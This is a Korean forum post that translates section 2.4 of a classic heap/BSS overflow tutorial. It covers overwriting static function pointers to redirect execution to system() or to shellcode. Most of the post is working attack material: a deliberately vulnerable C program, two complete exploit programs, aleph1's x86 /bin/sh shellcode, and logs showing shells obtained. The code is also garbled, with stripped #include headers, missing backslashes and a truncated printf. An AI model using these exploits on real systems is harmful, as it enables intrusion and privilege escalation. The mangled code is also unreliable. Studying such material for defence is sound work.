Heap based overflow
이번 주에는 소스코드 중 목차 2.4 에 해당하는 내용을 발송해 드립니다.
contents
0. Heap and Data/BSS section
1. Why Heap/BSS Overflows are Significant?
2. Exploiting Heap/BSS Overflows (source code)
2.1 Prelude of heap based overflow
2.2 Getting close
2.3 The First Chase
2.4 Playing with function pointers
2.5 Longjmp
3. The Preys
--------------------------------------------------------------------------------
2.4 Playing with function pointers
이제 pointer를 어떻게 overwrite하는지 알았으니 이제 function pointer를 건드리는 방법을 소개한다. 이 다음의 예들은 excutable heap을 필요로 한다.
function pointer를 그 주소를 overwrite하는 방법으로 마꾸어 줄 수 있으며, 이 함수 실행될 때, 이 포인터는 우리가 원하는 다른 function을 실행하게 된다. 우리는 이 것을 사용해서 shell code를 실행시킬 수 있다. 다음 방법들이 가능하다.
1. argv[] 방법 : 프로그램의 argument에 shell code를 실어 보낸다. (excutable stack 필요)
2. heap offset 방법 : heap의 처음부터 target/overflow buffer 까지의 offset을 guessing 한다. (역시 excutable heap 필요)
대부분의 시스템에서는 stack보다는 heap이 excutable일 확률이 높다. 따라서 heap method가 더 성공할 확률이 높다.
두번째 방법은 대략적인 offset을 가지고 어떠한 function의 주소를 guess하는 것이 다. 만약 프로그램중에 system()의 위치를 알면, 상당히 가까운 offset을 가질 것이다. (vulprog와 exploit이 같은 방법으로 compile이 되었다면..) 이 방법의 장점은 excutable일 필요는 없다는 것이다.
두번째 방법을 사람들이 좋아하는 이유는 단순하기 때문이다. 우리는 exploit의 system()의 주소를 사용해서 vulprog의 system()의 offset을 추측할 수 있다. 이는 remote 에서도 동일하다. (물론 OS, ARCH, ver등은 같다고 가정한다. ) stack 방법을 사용하면 우리는 무엇이든지 할 수 있고 또한 공통되는 function pointer를 필요로 하지 않는다. (i.e., char (*funcptr)(int a) and void (*funcptr)() 는 같은 일을 한다. ) 그러나 excutable stack을 필요로 한다는 점에서 약간의 불리함을 가진다.
다음의 프로그램은 위 두가지 방법을 시험하는 test program 이다.
/*
* Just the vulnerable program we will exploit.
* Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
*/
#include
#include
#include
#include
#define ERROR -1
#define BUFSIZE 64
int goodfunc(const char *str); /* funcptr starts out as this */
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s n", argv[0]);
exit(ERROR);
}
printf("(for 1st exploit) system() = %pn",
printf("(for 2nd exploit, stack method) argv[2] = %pn", argv[2]);
printf("(for 2nd exploit, heap offset method) buf = %pnn", buf);
funcptr = (int (*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %pn", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %pn", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
/* ---------------------------------------------- */
/* This is what funcptr would point to if we didn't overflow it */
int goodfunc(const char *str)
{
printf("nHi, I'm a good function. I was passed: %sn", str);
return 0;
}
-----------------------------------------------------------------------------
첫 번째 예이다.
-----------------------------------------------------------------------------
/*
* Copyright (C) January 1999, Matt Conover & WSD
*
* Demonstrates overflowing/manipulating static function pointers in
* the bss (uninitialized data) to execute functions.
* (bss내의 static function pointer를 overflow시켜서 공유된 library의 함수를 사용하는 방법의 demo)
* Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
* To compile use: gcc -o exploit1 exploit1.c
*/
#include
#include
#include
#include
#define BUFSIZE 64 /* the estimated diff between funcptr/buf */
#define VULPROG "./vulprog" /* vulnerable program location */
#define CMD "/bin/sh" /* command to execute if successful */
#define ERROR -1
int main(int argc, char **argv)
{
register int i;
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
if (argc <= 1)
{
fprintf(stderr, "Usage: %s n", argv[0]);
fprintf(stderr, "[offset = estimated system() offset]nn");
exit(ERROR);
}
sysaddr = (u_long)&system - atoi(argv[1]);
printf("trying system() at 0x%lxn", sysaddr);
memset(buf, 'A', BUFSIZE);
/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
execl(VULPROG, VULPROG, buf, CMD, NULL);
return 0;
}
위 exploit을 compile해서 실행시킨다면,
[root /w00w00/heap/examples]# ./exploit1 16
trying system() at 0x80484d0
(for 1st exploit) system() = 0x80484d0
(for 2nd exploit, stack method) argv[2] = 0xbffffd3c
(for 2nd exploit, heap offset method) buf = 0x804a9a8
before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x80484d0
bash#
두 번째 방법이다. argv[], heap offset 방법 두가지를 사용한다.
-----------------------------------------------------------------------------
/*
* Copyright (C) January 1999, Matt Conover & WSD
*
* This demonstrates how to exploit a static buffer to point the
* function pointer at argv[] to execute shellcode. This requires
* an executable heap to succeed.
*(excutable heap에 shell code를 넣고(argv[] method) static buffer를 overflow시켜서 shell code를 *실행하도록 한다. 이 방법은 stack이나 heap이나 동일하다. )
* The exploit takes two argumenst (the offset and "heap"/"stack").
* For argv[] method, it's an estimated offset to argv[2] from
* the stack top. For the heap offset method, it's an estimated offset
* to the target/overflow buffer from the heap top.
*
* Try values somewhere between 325-345 for argv[] method, and 420-450
* for heap.
*
* To compile use: gcc -o exploit2 exploit2.c
*/
#include
#include
#include
#include
#define ERROR -1
#define BUFSIZE 64 /* estimated diff between buf/funcptr */
#define VULPROG "./vulprog" /* where the vulprog is */
char shellcode[] = /* just aleph1's old shellcode (linux x86) */
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"
"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"
"x40xcdx80xe8xdcxffxffxff/bin/sh";
u_long getesp()
{
__asm__("movl %esp,%eax"); /* set sp as return value */
}
int main(int argc, char **argv)
{
register int i;
u_long sysaddr;
char buf[BUFSIZE + sizeof(u_long) + 1];
if (argc <= 2)
{
fprintf(stderr, "Usage: %s n", argv[0]);
exit(ERROR);
}
if (strncmp(argv[2], "stack", 5) == 0)
{
printf("Using stack for shellcode (requires exec. stack)n");
sysaddr = getesp() + atoi(argv[1]);
printf("Using 0x%lx as our argv[1] addressnn", sysaddr);
memset(buf, 'A', BUFSIZE + sizeof(u_long));
}
else
{
printf("Using heap buffer for shellcode "
"(requires exec. heap)n");
sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
printf("Using 0x%lx as our buffer's addressnn", sysaddr);
if (BUFSIZE + 4 + 1 < strlen(shellcode))
{
fprintf(stderr, "error: buffer is too small for shellcode "
"(min. = %d bytes)n", strlen(shellcode));
exit(ERROR);
}
strcpy(buf, shellcode);
memset(buf + strlen(shellcode), 'A',
BUFSIZE - strlen(shellcode) + sizeof(u_long));
}
buf[BUFSIZE + sizeof(u_long)] = '';
/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
execl(VULPROG, VULPROG, buf, shellcode, NULL);
return 0;
}
When we run this with an offset of 334 for the argv[] method we get:
[root /w00w00/heap/examples] ./exploit2 334 stack
Using stack for shellcode (requires exec. stack)
Using 0xbffffd16 as our argv[1] address
(for 1st exploit) system() = 0x80484d0
(for 2nd exploit, stack method) argv[2] = 0xbffffd16
(for 2nd exploit, heap offset method) buf = 0x804a9a8
before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0xbffffd16
bash#
When we run this with an offset of 428-442 for the heap offset method we get:
[root /w00w00/heap/examples] ./exploit2 428 heap
Using heap buffer for shellcode (requires exec. heap)
Using 0x804a9a8 as our buffer's address
(for 1st exploit) system() = 0x80484d0
(for 2nd exploit, stack method) argv[2] = 0xbffffd16
(for 2nd exploit, heap offset method) buf = 0x804a9a8
before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x804a9a8
bash#
Note : heap method의 또 다른 장점은 좀더 넓은 offset의 범위를 가진다는 것이다.
argv[] 방법은 정확해야 한다. 그러나 heap 방법은 428-442사이의 범위를 가진다.

운영자
01-02-06 09:27
0개
2,619회
Heap based Overflow --(3 )
댓글목록
등록된 댓글이 없습니다.